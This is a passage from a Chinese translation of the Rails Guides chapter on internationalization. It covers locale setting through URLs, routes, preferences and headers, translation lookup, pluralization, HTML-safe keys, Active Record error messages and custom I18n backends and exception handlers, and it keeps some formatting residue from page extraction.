尽管这个解决方案具有上面提到的各种优点,但通过不同域名来提供不同的本地化版本(“语言版本”)有时并非我们的首选。在其他各种可选方案中,在 URL 参数(或请求路径)中包含区域设置是最常见的。

2.2.2 根据 URL 参数设置区域

区域设置(和传递)的最常见方式,是将其包含在 URL 参数中,例如,在前文第一个示例中,before_action 方法调用中的 I18n.locale = params[:locale]。此时,我们会使用 www.example.com/books?locale=jawww.example.com/ja/books 这样的网址。

和根据域名设置区域类似,这种方式具有不少优点,尤其是 REST 式的命名风格,顺应了当前的互联网潮流。不过采用这种方式所需的工作量要大一些。

从 URL 参数获取并设置区域并不难,只要把区域设置包含在 URL 中并通过请求传递即可。当然,没有人愿意在生成每个 URL 地址时显式添加区域设置,例如 link_to(books_url(/service/locale: I18n.locale))

Rails 的 ApplicationController#default_url_options 方法提供的“集中修改 URL 动态生成规则”的功能,正好可以解决这个问题:我们可以设置 url_for 及相关辅助方法的默认行为(通过覆盖 default_url_options 方法)。

我们可以在 ApplicationController 中添加下面的代码:

+
+# app/controllers/application_controller.rb
+def default_url_options
+  { locale: I18n.locale }
+end
+
+
+
+

这样,所有依赖于 url_for 的辅助方法(例如,具名路由辅助方法 root_pathroot_url,资源路由辅助方法 books_pathbooks_url 等等)都会自动在查询字符串中添加区域设置,例如:http://localhost:3001/?locale=ja

至此,我们也许已经很满意了。但是,在应用的每个 URL 地址的末尾添加区域设置,会影响 URL 地址的可读性。此外,从架构的角度看,区域设置的层级应该高于 URL 地址中除域名之外的其他组成部分,这一点也应该通过 URL 地址自身体现出来。

要想使用 http://www.example.com/en/books(加载英语区域设置)和 http://www.example.com/nl/books(加载荷兰语区域设置)这样的 URL 地址,我们可以使用前文提到的覆盖 default_url_options 方法的方式,通过 scope 方法设置路由:

+
+# config/routes.rb
+scope "/:locale" do
+  resources :books
+end
+
+
+
+

现在,当我们调用 books_path 方法时,就会得到 "/en/books"(对于默认区域设置)。像 http://localhost:3001/nl/books 这样的 URL 地址会加载荷兰语区域设置,之后调用 books_path 方法时会返回 "/nl/books"(因为区域设置发生了变化)。

由于 default_url_options 方法的返回值是根据请求分别缓存的,因此无法通过循环调用辅助方法来生成 URL 地址中的区域设置, +也就是说,无法在每次迭代中设置相应的 I18n.locale。正确的做法是,保持 I18n.locale 不变,向辅助方法显式传递 :locale 选项,或者编辑 request.original_fullpath

如果不想在路由中强制使用区域设置,我们可以使用可选的路径作用域(用括号表示),就像下面这样:

+
+# config/routes.rb
+scope "(:locale)", locale: /en|nl/ do
+  resources :books
+end
+
+
+
+

通过这种方式,访问不带区域设置的 http://localhost:3001/books URL 地址时就不会抛出 Routing Error 错误了。这样,我们就可以在不指定区域设置时,使用默认的区域设置。

当然,我们需要特别注意应用的根地址﹝通常是“主页(homepage)”或“仪表盘(dashboard)”﹞。像 root to: "books#index" 这样的不考虑区域设置的路由声明,会导致 http://localhost:3001/nl 无法正常访问。(尽管“只有一个根地址”看起来并没有错)

因此,我们可以像下面这样映射 URL 地址:

+
+# config/routes.rb
+get '/:locale' => 'dashboard#index'
+
+
+
+

需要特别注意路由的声明顺序,以避免这条路由覆盖其他路由。(我们可以把这条路由添加到 root :to 路由声明之前)

有一些 gem 可以简化路由设置,如 routing_filterrails-translate-routesroute_translator

2.2.3 根据用户偏好设置进行区域设置

支持用户身份验证的应用,可能会允许用户在界面中选择区域偏好设置。通过这种方式,用户选择的区域偏好设置会储存在数据库中,并用于处理该用户发起的请求。

+
+def set_locale
+  I18n.locale = current_user.try(:locale) || I18n.default_locale
+end
+
+
+
+

2.2.4 使用隐式区域设置

如果没有显式地为请求设置区域(例如,通过上面提到的各种方式),应用就会尝试推断出所需区域。

2.2.4.1 根据 HTTP 首部推断区域设置

Accept-Language HTTP 首部指明响应请求时使用的首选语言。浏览器根据用户的语言偏好设置设定这个 HTTP 首部,这是推断区域设置的首选方案。

下面是使用 Accept-Language HTTP 首部的一个简单实现:

+
+def set_locale
+  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{I18n.locale}'"
+end
+
+private
+  def extract_locale_from_accept_language_header
+    request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+  end
+
+
+
+

实际上,我们通常会使用更可靠的代码。Iain Hecker 开发的 http_accept_language 或 Ryan Tomayko 开发的 locale Rack 中间件就提供了更好的解决方案。

2.2.4.2 根据 IP 地理位置推断区域设置

我们可以通过客户端请求的 IP 地址来推断客户端所处的地理位置,进而推断其区域设置。GeoIP Lite Country 这样的服务或 geocoder 这样的 gem 就可以实现这一功能。

一般来说,这种方式远不如使用 HTTP 首部可靠,因此并不适用于大多数 Web 应用。

2.2.5 在会话或 Cookie 中储存区域设置

我们可能会认为,可以把区域设置储存在会话或 Cookie 中。但是,我们不能这样做。区域设置应该是透明的,并作为 URL 地址的一部分。这样,我们就不会打破用户的正常预期:如果我们发送一个 URL 地址给朋友,他们应该看到和我们一样的页面和内容。这就是所谓的 REST 规则。关于 REST 规则的更多介绍,请参阅 Stefan Tilkov 写的系列文章。后文将讨论这个规则的一些例外情况。

3 国际化和本地化

现在,我们已经完成了对 Rails 应用 I18n 支持的初始化,进行了区域设置,并在不同请求中应用了区域设置。

接下来,我们要通过抽象本地化相关元素,完成应用的国际化。最后,通过为这些抽象元素提供必要翻译,完成应用的本地化。

下面给出一个例子:

+
+# config/routes.rb
+Rails.application.routes.draw do
+  root to: "home#index"
+end
+
+
+
+
+
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+  before_action :set_locale
+
+  def set_locale
+    I18n.locale = params[:locale] || I18n.default_locale
+  end
+end
+
+
+
+
+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = "Hello Flash"
+  end
+end
+
+
+
+
+
+# app/views/home/index.html.erb
+<h1>Hello World</h1>
+<p><%= flash[:notice] %></p>
+
+
+
+

demo untranslated

3.1 抽象本地化代码

在我们的代码中有两个英文字符串("Hello Flash""Hello World"),它们在响应用户请求时显示。为了国际化这部分代码,需要用 Rails 提供的 #t 辅助方法来代替这两个字符串,同时为每个字符串选择合适的键:

+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+
+
+
+
+
+# app/views/home/index.html.erb
+<h1><%= t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+
+
+
+

现在,Rails 在渲染 index 视图时会显示错误信息,告诉我们缺少 :hello_world:hello_flash 这两个键的翻译。

demo translation missing

Rails 为视图添加了 ttranslate)辅助方法,从而避免了反复使用 I18n.t 这么长的写法。此外,t 辅助方法还能捕获缺少翻译的错误,把生成的错误信息放在 <span class="translation_missing"> 元素里。

3.2 为国际化字符串提供翻译

下面,我们把缺少的翻译添加到翻译字典文件中:

+
+# config/locales/en.yml
+en:
+  hello_world: Hello world!
+  hello_flash: Hello flash!
+
+# config/locales/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+
+
+
+

因为我们没有修改 default_locale,翻译会使用 :en 区域设置,响应请求时生成的视图会显示英文字符串:

demo translated en

如果我们通过 URL 地址(http://localhost:3000?locale=pirate)把区域设置为 pirate,响应请求时生成的视图就会显示海盗黑话:

demo translated pirate

添加新的区域设置文件后,需要重启服务器。

要想把翻译储存在 SimpleStore 中,我们可以使用 YAML(.yml)或纯 Ruby(.rb)文件。大多数 Rails 开发者会优先选择 YAML。不过 YAML 有一个很大的缺点,它对空格和特殊字符非常敏感,因此有可能出现应用无法正确加载字典的情况。而 Ruby 文件如果有错误,在第一次加载时应用就会崩溃,因此我们很容易就能找出问题。(如果在使用 YAML 字典时遇到了“奇怪的问题”,可以尝试把字典的相关部分放入 Ruby 文件中。)

如果翻译存储在 YAML 文件中,有些键必须转义:

+
    +
  • true, on, yes
  • +
  • false, off, no
  • +
+

例如:

+
+# config/locales/en.yml
+en:
+  success:
+    'true':  'True!'
+    'on':    'On!'
+    'false': 'False!'
+  failure:
+    true:    'True!'
+    off:     'Off!'
+    false:   'False!'
+
+
+
+
+
+I18n.t 'success.true' # => 'True!'
+I18n.t 'success.on' # => 'On!'
+I18n.t 'success.false' # => 'False!'
+I18n.t 'failure.false' # => Translation Missing
+I18n.t 'failure.off' # => Translation Missing
+I18n.t 'failure.true' # => Translation Missing
+
+
+
+

3.3 把变量传递给翻译

成功完成应用国际化的一个关键因素是,避免在抽象本地化代码时,对语法规则做出不正确的假设。某个区域设置的基本语法规则,在另一个区域设置中可能不成立。

下面给出一个不正确抽象的例子,其中对翻译的不同组成部分的排序进行了假设。注意,为了处理这个例子中出现的情况,Rails 提供了 number_to_currency 辅助方法。

+
+# app/views/products/show.html.erb
+<%= "#{t('currency')}#{@product.price}" %>
+
+
+
+
+
+# config/locales/en.yml
+en:
+  currency: "$"
+
+# config/locales/es.yml
+es:
+  currency: "€"
+
+
+
+

如果产品价格是 10,那么西班牙语的正确翻译是“10 €”而不是“€10”,但上面的抽象并不能正确处理这种情况。

为了创建正确的抽象,I18n gem 提供了变量插值(variable interpolation)功能,它允许我们在翻译定义(translation definition)中使用变量,并把这些变量的值传递给翻译方法。

下面给出一个正确抽象的例子:

+
+# app/views/products/show.html.erb
+<%= t('product_price', price: @product.price) %>
+
+
+
+
+
+# config/locales/en.yml
+en:
+  product_price: "$%{price}"
+
+# config/locales/es.yml
+es:
+  product_price: "%{price} €"
+
+
+
+

所有的语法和标点都由翻译定义自己决定,所以抽象可以给出正确的翻译。

defaultscope 是保留关键字,不能用作变量名。如果误用,Rails 会抛出 I18n::ReservedInterpolationKey 异常。如果没有把翻译所需的插值变量传递给 #translate 方法,Rails 会抛出 I18n::MissingInterpolationArgument 异常。

3.4 添加日期/时间格式

现在,我们要给视图添加时间戳,以便演示日期/时间的本地化功能。要想本地化时间格式,可以把时间对象传递给 I18n.l 方法或者(最好)使用 #l 辅助方法。可以通过 :format 选项指定时间格式(默认情况下使用 :default 格式)。

+
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+<p><%= l Time.now, format: :short %></p>
+
+
+
+

然后在 pirate 翻译文件中添加时间格式(Rails 默认使用的英文翻译文件已经包含了时间格式):

+
+# config/locales/pirate.yml
+pirate:
+  time:
+    formats:
+      short: "arrrround %H'ish"
+
+
+
+

得到的结果如下:

demo localized pirate

现在,我们可能需要添加一些日期/时间格式,这样 I18n 后端才能按照预期工作(至少应该为 pirate 区域设置添加日期/时间格式)。当然,很可能已经有人通过翻译 Rails 相关区域设置的默认值,完成了这些工作。GitHub 上的 rails-i18n 仓库提供了各种本地化文件的存档。把这些本地化文件放在 config/locales/ 文件夹中即可正常使用。

3.5 其他区域的变形规则

Rails 允许我们为英语之外的区域定义变形规则(例如单复数转换规则)。在 config/initializers/inflections.rb 文件中,我们可以为多个区域定义规则。这个初始化脚本包含了为英语指定附加规则的例子,我们可以参考这些例子的格式为其他区域定义规则。

3.6 本地化视图

假设应用中包含 BooksControllerindex 动作默认会渲染 app/views/books/index.html.erb 模板。如果我们在同一个文件夹中创建了包含本地化变量的 index.es.html.erb 模板,当区域设置为 :es 时,index 动作就会渲染这个模板,而当区域设置为默认区域时, index 动作会渲染通用的 index.html.erb 模板。(在 Rails 的未来版本中,本地化的这种自动化魔术,有可能被应用于 public 文件夹中的资源)

本地化视图功能很有用,例如,如果我们有大量静态内容,就可以使用本地化视图,从而避免把所有东西都放进 YAML 或 Ruby 字典里的麻烦。但要记住,一旦我们需要修改模板,就必须对每个模板文件逐一进行修改。

3.7 区域设置文件的组织

当我们使用 I18n 库自带的 SimpleStore 时,字典储存在磁盘上的纯文本文件中。对于每个区域,把应用的各部分翻译都放在一个文件中,可能会带来管理上的困难。因此,把每个区域的翻译放在多个文件中,分层进行管理是更好的选择。

例如,我们可以像下面这样组织 config/locales 文件夹:

+
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+
+
+
+

这样,我们就可以把模型和属性名同视图中的文本分离,同时还能使用“默认值”(例如日期和时间格式)。I18n 库的不同后端可以提供不同的分离方式。

Rails 默认的区域设置加载机制,无法自动加载上面例子中位于嵌套文件夹中的区域设置文件。因此,我们还需要进行显式设置:

+
+# config/application.rb
+config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+
+
+
+

4 I18n API 功能概述

现在我们已经对 I18n 库有了较好的了解,知道了如何国际化简单的 Rails 应用。在下面几个小节中,我们将更深入地了解相关功能。

这几个小节将展示使用 I18n.translate 方法以及 translate 视图辅助方法的示例(注意视图辅助方法提供的附加功能)。

所涉及的功能如下:

+
    +
  • 查找翻译
  • +
  • 把数据插入翻译中
  • +
  • 复数的翻译
  • +
  • 使用安全 HTML 翻译(只针对视图辅助方法)
  • +
  • 本地化日期、数字、货币等
  • +
+

4.1 查找翻译

4.1.1 基本查找、作用域和嵌套键

Rails 通过键来查找翻译,其中键可以是符号或字符串。这两种键是等价的,例如:

+
+I18n.t :message
+I18n.t 'message'
+
+
+
+

translate 方法接受 :scope 选项,选项的值可以包含一个或多个附加键,用于指定翻译键(translation key)的“命名空间”或作用域:

+
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+
+
+
+

上述代码会在 Active Record 错误信息中查找 :record_invalid 信息。

此外,我们还可以用点号分隔的键来指定翻译键和作用域:

+
+I18n.translate "activerecord.errors.messages.record_invalid"
+
+
+
+

因此,下列调用是等效的:

+
+I18n.t 'activerecord.errors.messages.record_invalid'
+I18n.t 'errors.messages.record_invalid', scope: :activerecord
+I18n.t :record_invalid, scope: 'activerecord.errors.messages'
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+
+
+
+

4.1.2 默认值

如果指定了 :default 选项,在缺少翻译的情况下,就会返回该选项的值:

+
+I18n.t :missing, default: 'Not here'
+# => 'Not here'
+
+
+
+

如果 :default 选项的值是符号,这个值会被当作键并被翻译。我们可以为 :default 选项指定多个值,第一个被成功翻译的键或遇到的字符串将被作为返回值。

例如,下面的代码首先尝试翻译 :missing 键,然后是 :also_missing 键。由于两次翻译都不能得到结果,最后会返回 "Not here" 字符串。

+
+I18n.t :missing, default: [:also_missing, 'Not here']
+# => 'Not here'
+
+
+
+

4.1.3 批量查找和命名空间查找

要想一次查找多个翻译,我们可以传递键的数组作为参数:

+
+I18n.t [:odd, :even], scope: 'errors.messages'
+# => ["must be odd", "must be even"]
+
+
+
+

此外,键可以转换为一组翻译的(可能是嵌套的)散列。例如,下面的代码可以生成所有 Active Record 错误信息的散列:

+
+I18n.t 'activerecord.errors.messages'
+# => {:inclusion=>"is not included in the list", :exclusion=> ... }
+
+
+
+

4.1.4 惰性查找

Rails 实现了一种在视图中查找区域设置的便捷方法。如果有下述字典:

+
+es:
+  books:
+    index:
+      title: "Título"
+
+
+
+

我们就可以像下面这样在 app/views/books/index.html.erb 模板中查找 books.index.title 的值(注意点号):

+
+<%= t '.title' %>
+
+
+
+

只有 translate 视图辅助方法支持根据片段自动补全翻译作用域的功能。

我们还可以在控制器中使用惰性查找(lazy lookup):

+
+en:
+  books:
+    create:
+      success: Book created!
+
+
+
+

用于设置闪现信息:

+
+class BooksController < ApplicationController
+  def create
+    # ...
+    redirect_to books_url, notice: t('.success')
+  end
+end
+
+
+
+

4.2 复数转换

在英语中,一个字符串只有一种单数形式和一种复数形式,例如,“1 message”和“2 messages”。其他语言(阿拉伯语日语俄语等)则具有不同的语法,有更多或更少的复数形式。因此,I18n API 提供了灵活的复数转换功能。

:count 插值变量具有特殊作用,既可以把它插入翻译,又可以用于从翻译中选择复数形式(根据 CLDR 定义的复数转换规则):

+
+I18n.backend.store_translations :en, inbox: {
+  zero: 'no messages', # 可选
+  one: 'one message',
+  other: '%{count} messages'
+}
+I18n.translate :inbox, count: 2
+# => '2 messages'
+
+I18n.translate :inbox, count: 1
+# => 'one message'
+
+I18n.translate :inbox, count: 0
+# => 'no messages'
+
+
+
+

:en 区域设置的复数转换算法非常简单:

+
+lookup_key = :zero if count == 0 && entry.has_key?(:zero)
+lookup_key ||= count == 1 ? :one : :other
+entry[lookup_key]
+
+
+
+

也就是说,:one 标记的是单数,:other 标记的是复数。如果数量为零,而且有 :zero 元素,用它的值,而不用 :other 的值。

如果查找键没能返回可转换为复数形式的散列,就会引发 I18n::InvalidPluralizationData 异常。

4.3 区域的设置和传递

区域设置可以伪全局地设置为 I18n.locale(使用 Thread.current,例如 Time.zone),也可以作为选项传递给 #translate#localize 方法。

如果我们没有传递区域设置,Rails 就会使用 I18n.locale

+
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+
+
+
+

显式传递区域设置:

+
+I18n.t :foo, locale: :de
+I18n.l Time.now, locale: :de
+
+
+
+

I18n.locale 的默认值是 I18n.default_locale ,而 I18n.default_locale 的默认值是 :en。可以像下面这样设置默认区域:

+
+I18n.default_locale = :de
+
+
+
+

4.4 使用安全 HTML 翻译

带有 '_html' 后缀的键和名为 'html' 的键被认为是 HTML 安全的。当我们在视图中使用这些键时,HTML 不会被转义。

+
+# config/locales/en.yml
+en:
+  welcome: <b>welcome!</b>
+  hello_html: <b>hello!</b>
+  title:
+    html: <b>title!</b>
+
+
+
+
+
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+
+
+
+

不过插值是会被转义的。例如,对于:

+
+en:
+  welcome_html: "<b>Welcome %{username}!</b>"
+
+
+
+

我们可以安全地传递用户设置的用户名:

+
+<%# This is safe, it is going to be escaped if needed. %>
+<%= t('welcome_html', username: @current_user.username) %>
+
+
+
+

另一方面,安全字符串是逐字插入的。

只有 translate 视图辅助方法支持 HTML 安全翻译文本的自动转换。

demo html safe

4.5 Active Record 模型的翻译

我们可以使用 Model.model_name.humanModel.human_attribute_name(attribute) 方法,来透明地查找模型名和属性名的翻译。

例如,当我们添加了下述翻译:

+
+en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: "Handle"
+      # 会把 User 的属性 "login" 翻译为 "Handle"
+
+
+
+

User.model_name.human 会返回 "Dude",而 User.human_attribute_name("login") 会返回 "Handle"

我们还可以像下面这样为模型名添加复数形式:

+
+en:
+  activerecord:
+    models:
+      user:
+        one: Dude
+        other: Dudes
+
+
+
+

这时 User.model_name.human(count: 2) 会返回 "Dudes",而 User.model_name.human(count: 1)User.model_name.human 会返回 "Dude"

要想访问模型的嵌套属性,我们可以在翻译文件的模型层级中嵌套使用“模型/属性”:

+
+en:
+  activerecord:
+    attributes:
+      user/gender:
+        female: "Female"
+        male: "Male"
+
+
+
+

这时 User.human_attribute_name("gender.female") 会返回 "Female"

如果我们使用的类包含了 ActiveModel,而没有继承自 ActiveRecord::Base,我们就应该用 activemodel 替换上述例子中键路径中的 activerecord

4.5.1 错误消息的作用域

Active Record 验证的错误消息翻译起来很容易。Active Record 提供了一些用于放置消息翻译的命名空间,以便为不同的模型、属性和验证提供不同的消息和翻译。当然 Active Record 也考虑到了单表继承问题。

这就为根据应用需求灵活调整信息,提供了非常强大的工具。

假设 User 模型对 name 属性进行了验证:

+
+class User < ApplicationRecord
+  validates :name, presence: true
+end
+
+
+
+

此时,错误信息的键是 :blank。Active Record 会在命名空间中查找这个键:

+
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+
+
+
+

因此,在本例中,Active Record 会按顺序查找下列键,并返回第一个结果:

+
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+
+
+
+

如果模型使用了继承,Active Record 还会在继承链中查找消息。

例如,对于继承自 User 模型的 Admin 模型:

+
+class Admin < User
+  validates :name, presence: true
+end
+
+
+
+

Active Record 会按下列顺序查找消息:

+
+activerecord.errors.models.admin.attributes.name.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+
+
+
+

这样,我们就可以在模型继承链的不同位置,以及属性、模型或默认作用域中,为各种错误消息提供特殊翻译。

4.5.2 错误消息的插值

翻译后的模型名、属性名,以及值,始终可以通过 modelattributevalue 插值。

因此,举例来说,我们可以用 "Please fill in your %{attribute}" 这样的属性名来代替默认的 "cannot be blank" 错误信息。

count 方法可用时,可根据需要用于复数转换:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
验证选项信息插值
confirmation-:confirmationattribute
acceptance-:accepted-
presence-:blank-
absence-:present-
length +:within, :in +:too_shortcount
length +:within, :in +:too_longcount
length:is:wrong_lengthcount
length:minimum:too_shortcount
length:maximum:too_longcount
uniqueness-:taken-
format-:invalid-
inclusion-:inclusion-
exclusion-:exclusion-
associated-:invalid-
non-optional association-:required-
numericality-:not_a_number-
numericality:greater_than:greater_thancount
numericality:greater_than_or_equal_to:greater_than_or_equal_tocount
numericality:equal_to:equal_tocount
numericality:less_than:less_thancount
numericality:less_than_or_equal_to:less_than_or_equal_tocount
numericality:other_than:other_thancount
numericality:only_integer:not_an_integer-
numericality:odd:odd-
numericality:even:even-
+

4.5.3 为 Active Record 的 error_messages_for 辅助方法添加翻译

在使用 Active Record 的 error_messages_for 辅助方法时,我们可以为其添加翻译。

Rails 自带以下翻译:

+
+en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   "1 error prohibited this %{model} from being saved"
+          other: "%{count} errors prohibited this %{model} from being saved"
+        body:    "There were problems with the following fields:"
+
+
+
+

要想使用 error_messages_for 辅助方法,我们需要在 Gemfile 中添加一行 gem 'dynamic_form',还要安装 DynamicForm gem。

4.6 Action Mailer 电子邮件主题的翻译

如果没有把主题传递给 mail 方法,Action Mailer 会尝试在翻译中查找主题。查找时会使用 <mailer_scope>.<action_name>.subject 形式来构造键。

+
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    #...
+  end
+end
+
+
+
+
+
+en:
+  user_mailer:
+    welcome:
+      subject: "Welcome to Rails Guides!"
+
+
+
+

要想把参数用于插值,可以在调用邮件程序时使用 default_i18n_subject 方法。

+
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    mail(to: user.email, subject: default_i18n_subject(user: user.name))
+  end
+end
+
+
+
+
+
+en:
+  user_mailer:
+    welcome:
+      subject: "%{user}, welcome to Rails Guides!"
+
+
+
+

4.7 提供 I18n 支持的其他内置方法概述

在 Rails 中,我们会使用固定字符串和其他本地化元素,例如,在一些辅助方法中使用的格式字符串和其他格式信息。本小节提供了简要概述。

4.7.1 Action View 辅助方法
+
    +
  • distance_of_time_in_words 辅助方法翻译并以复数形式显示结果,同时插入秒、分钟、小时的数值。更多介绍请参阅 datetime.distance_in_words
  • +
  • datetime_selectselect_month 辅助方法使用翻译后的月份名称来填充生成的 select 标签。更多介绍请参阅 date.month_namesdatetime_select 辅助方法还会从 date.order 中查找 order 选项(除非我们显式传递了 order 选项)。如果可能,所有日期选择辅助方法在翻译提示信息时,都会使用 datetime.prompts 作用域中的翻译。
  • +
  • number_to_currencynumber_with_precisionnumber_to_percentagenumber_with_delimiternumber_to_human_size 辅助方法使用 number 作用域中的数字格式设置。
  • +
+

4.7.2 Active Model 方法
+
    +
  • model_name.humanhuman_attribute_name 方法会使用 activerecord.models 作用域中可用的模型名和属性名的翻译。像 错误消息的作用域中介绍的那样,这两个方法也支持继承的类名的翻译(例如,用于 STI)。
  • +
  • ActiveModel::Errors#generate_message 方法(在 Active Model 验证时使用,也可以手动使用)会使用上面介绍的 model_name.humanhuman_attribute_name 方法。像 错误消息的作用域中介绍的那样,这个方法也会翻译错误消息,并支持继承的类名的翻译。
  • +
  • ActiveModel::Errors#full_messages 方法使用分隔符把属性名添加到错误消息的开头,然后在 errors.format 中查找(默认格式为 "%{attribute} %{message}")。
  • +
+

4.7.3 Active Support 方法
+
    +
  • Array#to_sentence 方法使用 support.array 作用域中的格式设置。
  • +
+

5 如何储存自定义翻译

Active Support 自带的简单后端,允许我们用纯 Ruby 或 YAML 格式储存翻译。

通过 Ruby 散列储存翻译的示例如下:

+
+{
+  pt: {
+    foo: {
+      bar: "baz"
+    }
+  }
+}
+
+
+
+

对应的 YAML 文件如下:

+
+pt:
+  foo:
+    bar: baz
+
+
+
+

正如我们看到的,在这两种情况下,顶层的键是区域设置。:foo 是命名空间的键,:bar 是翻译 "baz" 的键。

下面是来自 Active Support 自带的 YAML 格式的翻译文件 en.yml 的“真实”示例:

+
+en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+
+
+
+

因此,下列查找效果相同,都会返回短日期格式 "%b %d"

+
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+
+
+
+

一般来说,我们推荐使用 YAML 作为储存翻译的格式。然而,在有些情况下,我们可能需要把 Ruby lambda 作为储存的区域设置信息的一部分,例如特殊的日期格式。

6 自定义 I18n 设置

6.1 使用不同的后端

由于某些原因,Active Support 自带的简单后端只为 Ruby on Rails 做了“完成任务所需的最少量工作”,这意味着只有对英语以及和英语高度类似的语言,简单后端才能保证正常工作。此外,简单后端只能读取翻译,而不能动态地把翻译储存为任何格式。

这并不意味着我们会被这些限制所困扰。Ruby I18n gem 让我们能够轻易地把简单后端替换为其他更适合实际需求的后端。例如,我们可以把简单后端替换为 Globalize 的 Static 后端:

+
+I18n.backend = Globalize::Backend::Static.new
+
+
+
+

我们还可以使用 Chain 后端,把多个后端链接在一起。当我们想要通过简单后端使用标准翻译,同时把自定义翻译储存在数据库或其他后端中时,链接多个后端的方式非常有用。例如,我们可以使用 Active Record 后端,并在需要时退回到默认的简单后端:

+
+I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
+
+
+
+

6.2 使用不同的异常处理程序

I18n API 定义了下列异常,这些异常会在相应的意外情况发生时由后端抛出:

+
+MissingTranslationData       # 找不到键对应的翻译
+InvalidLocale                # I18n.locale 的区域设置无效(例如 nil)
+InvalidPluralizationData     # 传递了 count 参数,但翻译数据无法转换为复数形式
+MissingInterpolationArgument # 翻译所需的插值参数未传递
+ReservedInterpolationKey     # 翻译包含的插值变量名使用了保留关键字(例如,scope 或 default)
+UnknownFileType              # 后端不知道应该如何处理添加到 I18n.load_path 中的文件类型
+
+
+
+

当后端抛出上述异常时,I18n API 会捕获这些异常,把它们传递给 default_exception_handler 方法。这个方法会再次抛出除了 MissingTranslationData 之外的异常。当捕捉到 MissingTranslationData 异常时,这个方法会返回异常的错误消息字符串,其中包含了所缺少的键/作用域。

这样做的原因是,在开发期间,我们通常希望在缺少翻译时仍然渲染视图。

不过,在其他上下文中,我们可能想要改变此行为。例如,默认的异常处理程序不允许在自动化测试期间轻易捕获缺少的翻译;要改变这一行为,可以使用不同的异常处理程序。所使用的异常处理程序必需是 I18n 模块中的方法,或具有 #call 方法的类。

+
+module I18n
+  class JustRaiseExceptionHandler < ExceptionHandler
+    def call(exception, locale, key, options)
+      if exception.is_a?(MissingTranslationData)
+        raise exception.to_exception
+      else
+        super
+      end
+    end
+  end
+end
+
+I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+
+
+
+

这个例子中使用的异常处理程序只会重新抛出 MissingTranslationData 异常,并把其他异常传递给默认的异常处理程序。

不过,如果我们使用了 I18n::Backend::Pluralization 异常处理程序,则还会抛出 I18n::MissingTranslationData: translation missing: en.i18n.plural.rule 异常,而这个异常通常应该被忽略,以便退回到默认的英语区域设置的复数转换规则。为了避免这种情况,我们可以对翻译键进行附加检查:

+
+if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule'
+  raise exception.to_exception
+else
+  super
+end
+
+
+
+

默认行为不太适用的另一个例子,是 Rails 的 TranslationHelper 提供的 #t 辅助方法(和 #translate 辅助方法)。当上下文中出现了 MissingTranslationData 异常时,这个辅助方法会把错误消息放到 <span class="translation_missing"> 元素中。

不管是什么异常处理程序,这个辅助方法都能够通过设置 :raise 选项,强制 I18n#translate 方法抛出异常:

+
+I18n.t :foo, raise: true # 总是重新抛出来自后端的异常
+
+
+
+

7 结论

现在,我们已经对 Ruby on Rails 的 I18n 支持有了较为全面的了解,可以开始着手翻译自己的项目了。

如果想参加讨论或寻找问题的解答,可以注册 rails-i18n 邮件列表

8 为 Rails I18n 作贡献

I18n 是在 Ruby on Rails 2.2 中引入的,并且仍在不断发展。该项目继承了 Ruby on Rails 开发的优良传统,各种解决方案首先应用于 gem 和真实应用,然后再把其中最好和最广泛使用的部分纳入 Rails 核心。

因此,Rails 鼓励每个人在 gem 或其他库中试验新想法和新特性,并将它们贡献给社区。(别忘了在邮件列表上宣布我们的工作!)

如果在 Ruby on Rails 的示例翻译数据库中没找到想要的区域设置(语言),可以派生仓库,添加翻译数据,然后发送拉取请求

9 资源

+ +

10 作者

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

